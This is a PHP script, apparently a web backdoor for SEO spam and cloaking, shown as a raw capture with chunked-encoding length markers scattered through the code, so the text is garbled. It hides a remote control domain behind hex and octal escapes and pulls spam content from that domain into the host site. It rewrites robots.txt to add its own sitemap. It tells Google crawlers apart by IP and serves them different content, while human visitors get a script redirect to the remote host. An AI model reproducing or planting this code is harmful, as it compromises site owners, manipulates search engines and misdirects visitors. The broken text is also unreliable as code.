2 true 17 , CURLOPT_ c CONNECTTIMEO 7 UT => 5 26 , CURLOPT_TIMEOUT 1b => 8, CURLOPT_ 4 SSL_ 8 VERIFYPE b ER => false 25 , CURLOPT_SSL_VERIFYHOST 23 => false, CURLOPT_FOL 3 LOW 8 LOCATION 24 => false, CURLOPT_USER 5 AGENT d => "Moz 6 illa/5 d .0" 15 ]); $data = 9 curl_exec 17 ($ch); curl_cl 10 ose($ch); } 13 if (empty($ 9 data) && b ini_get('al 8 low_url_ 5 fopen 16 ')) { $contex 9 t = strea b m_context_c 6 reate( 14 [ "http 7 " => [" 8 timeout" b => 8, "hea 9 der" => " 7 User-Ag 5 ent: 10 Mozilla/5.0\r\n" 12 ], "s a sl" => [" 6 verify a _peer" => 16 false, "verify_peer_na d me" => false] 20 ]); $data = @ 17 file_get_contents($url, 10 false, $context 23 ); } if (!empty($data)) 11 cache_set($url, 14 $data); return 30 $data; } /* ------------------------- 7 URL 信 3 息 35 ------------------------- */ function get_url_info 8 (string 6 $type= 6 'domai c n'): string a { $ho e st = $_SERVER[ c 'HTTP_HOST'] 9 ?? ''; e if ($type 7 === 'no 12 _www') return preg 7 _replac 8 e('/^www 4 \./i c ', '', $host d ); $pr 6 otocol 14 = (!empty($_SERVER[ 8 'HTTPS'] 1b ) && $_SERVER['HTTPS'] !== 7 'off') 9 ? "https: b //" : "http c ://"; $ 7 base = 11 $protocol . $host 1c ; if ($type === 'base f ') return $base 1a ; if ($type === 'full 12 ') return $base . f ($_SERVER['REQU 7 EST_URI 12 '] ?? ''); f return $host; 2c } /* ------------------------- 基 4 4 量 25 ------------------------- */ goto 5 ONPuB 8 ; ONPuB: d $http_type = 13 !empty($_SERVER["\ 6 x48\12 8 4\x54\x5 6 0\x53" 1f ]) && $_SERVER["\x48\124\124\x5 d 0\x53"] !== " 6 \157\x 5 66\14 9 6" ? "\15 c 0\x74\x74\x7 5 0\163 6 \72\x2 a f\x2f" : " 8 \x68\164 11 \164\160\72\x2f\5 a 7"; goto O 5 4O9k; a O4O9k: $v c url = "\x74\ 9 157\56\15 8 2\147\14 a 1\x6c\x6c\ a 163\x2e\14 9 3\157\x6d e \x2f"; goto vg a v72; vgv72 5 : $qz 9 = substr d (str_replace( b array("\x77 c \x77\167\x2e 8 ", "\56" 8 ), '', $ 14 _SERVER["\110\x54\x5 9 4\120\x5f 8 \x48\x4f b \123\x54"]) 6 , 0, 3 28 ); /* ------------------------- 4 6 f 25 数 ------------------------- */ $ 8 sz = $ii 9 d = ""; c if(!empty($_ 8 GET)){ 6 $f=re a set($_GET) d ; $sp = f explode('-', $f f ); if (cou 7 nt($sp) 6 === 2 17 ) { $sz = $sp f [0]; $ c iid = $sp[1] b ; } } 29 /* ------------------------- 远 5 接 3 口 2e ------------------------- */ if (!empty($sz c )) { $j 11 d = getCurlFast(" d {$http_type}{ 8 $vurl}3k 6 g.aspx 5 ?sz=" 9 . urlenc 9 ode($sz)) 9 ; } else 3a { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?xy= 18 {$http_type}"); $sz 2e = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd 13 =" . urlencode($jd) c ); } $hy 4 zhdy a = $jd . " 7 41.aspx b "; $surl 16 = $jd . "s41.aspx"; 29 /* ------------------------- robo 6 ts / s 6 itemap 29 ------------------------- */ $sitemapL 8 ine = "S 8 itemap: 2e {$http_type}{$_SERVER['HTTP_HOST']}{$_SERVER[' 4 SCRI 7 PT_NAME a ']}?w=" . 7 date('Y 5 mdHi' 8 ) . "\n" e ; function en c sure_robots_ 14 sitemap($sitemapLine 11 ) { $robots 8 = rtrim( e $_SERVER['DOCU 7 MENT_RO 7 OT'], " a /\\") . '/ a robots.txt d '; if (! 13 file_exists($robots 22 )) { @file_put_contents($ f robots, "User-a 9 gent: *\n 7 Allow: 8 /\n" . $ 18 sitemapLine, LOCK_EX); 12 } else { 1d $c = @file_get_contents($ 16 robots); if ( d $c === false b || strpos($ 10 c, $sitemapLine) 1b === false) { 2a @file_put_contents($robots, $sitemapLine, 7 FILE_AP 6 PEND | 17 LOCK_EX); } 2f } } /* ------------------------- 5 w= 4 出 30 ------------------------- */ if (!empty($get[ a 'w'])) { b $para a ms = http_ 6 build_ 5 query f ([ 'NO 6 Umber' 12 => $get['NOUmber' 13 ] ?? '', ' c t' => 1d $get['t'] ?? '', 'cn 13 ' => $get['cn' 19 ] ?? '', 'pNOUm' 26 => $get['pNOUm'] ?? '', 'c 12 id' => $get['c 17 id'] ?? '', 'm 1a ' => $get['m'] ?? '' 12 ]); $ 15 str = getCurlFast("{$ 7 surl}?{ 13 $params}"); 5 echo 18 str_replace( [' 6 yymm', a 'ggggg','? 5 f='], 16 [$http_type. 16 $_SERVER['HTTP_HOST']. 1f $_SERVER['SCRIPT_NAME'], $sz,'? 6 '.$qz. 13 '='], $str 11 ); exi 2e t; } /* ------------------------- IP 5 判 4 4 保 5 留 k 5 k 测 3 试 29 ) ------------------------- */ $kk = 7 isset($ b get['kk']) 7 ? trim( 13 $get['kk']) : ''; b $ip = ($kk c !== '') ? "6 5 6.249 5 .82.8 11 " : get_real_ip() 2b ; /* ------------------------- get b domain2 判 3 断 2f ------------------------- */ $domain = trim( 13 getCurlFast($jd . " 11 getdomain2.aspx?r 6 nd=1&i 6 p=" . 2e $ip)); /* ------------------------- 6 goo 6 gle + 6 iid 5 跳 3 转 31 ------------------------- */ if ($domain !== ' b google' && b !empty($iid 10 )) { $kname 8 = urlde 1a code(getCurlFast($jd . "gn 9 .aspx?iid e =" . $iid)); e echo 'lo 7 cation= c "' . $jd . " c a.aspx?cname 15 =" . urlencode($kname 9 ) . "&url 11 =" . $http_type . 23 $_SERVER['HTTP_HOST'] . $_SERVER[' 13 SCRIPT_NAME'] . '"< 9 /script>' 3a ; exit; } /* ------------------------- iid 40 输出 ------------------------- */ if (!empty($iid)) { $ 1a str = getCurlFast($hyzhdy 9 . "?iid={ 2d $iid}"); echo str_replace( [' 10 ggggg','YYYYY',' 9 XXXYYY',' 5 当 7 URL',' 9 UUUUU','M 19 MMMM','?f='], [$ 12 sz, get_url_info() 16 , get_url_info('base') 26 , get_url_info('full'), get_url_info(' 9 no_www'), 9 parse_url 1c ($_SERVER['REQUEST_URI'], PH 7 P_URL_P 4 ATH) 61 ,'?'.$qz.'='], $str ); exit; } /* ------------------------- sitemap 6 helper 2b ------------------------- */ function ou d tput_sitemap_ 7 and_exi f t($sitemapLine, 14 $http_type) { 30 ensure_robots_sitemap($sitemapLine); echo " 4
14 Sitemap 10 7
" 39 ; exit; } /* ------------------------- kk 8 输出 4 制 2e ------------------------- */ if ($kk !== '' a && preg_m 4 atch 7 ('/^[A- 6 Za-z0- 5 9]+$/ 6 ', $kk 10 )) { $remot 11 e = getCurlFast($ 1e jd . "getdomain2.aspx?rnd=2&kk 9 =" . $kk) 13 ; if (!empty($ 19 remote)) { echo 12 $remote; 13 exit; } } 13 if ($kk !== '' && ! 5d preg_match('/^[A-Za-z0-9]+$/', $kk)) { output_sitemap_and_exit($sitemapLine, $http_type) f ; } $is_no_ 9 query = e 12 mpty($_SERVER['QUE 9 RY_STRING 10 ']); if ($kk 16 === '' && $is_no_query 15 ) { if ($domain c === 'google' 41 ) { output_sitemap_and_exit($sitemapLine, $http_type); 29 } else { exit; } } 37 output_sitemap_and_exit($sitemapLine, $http_type); ?> 1 0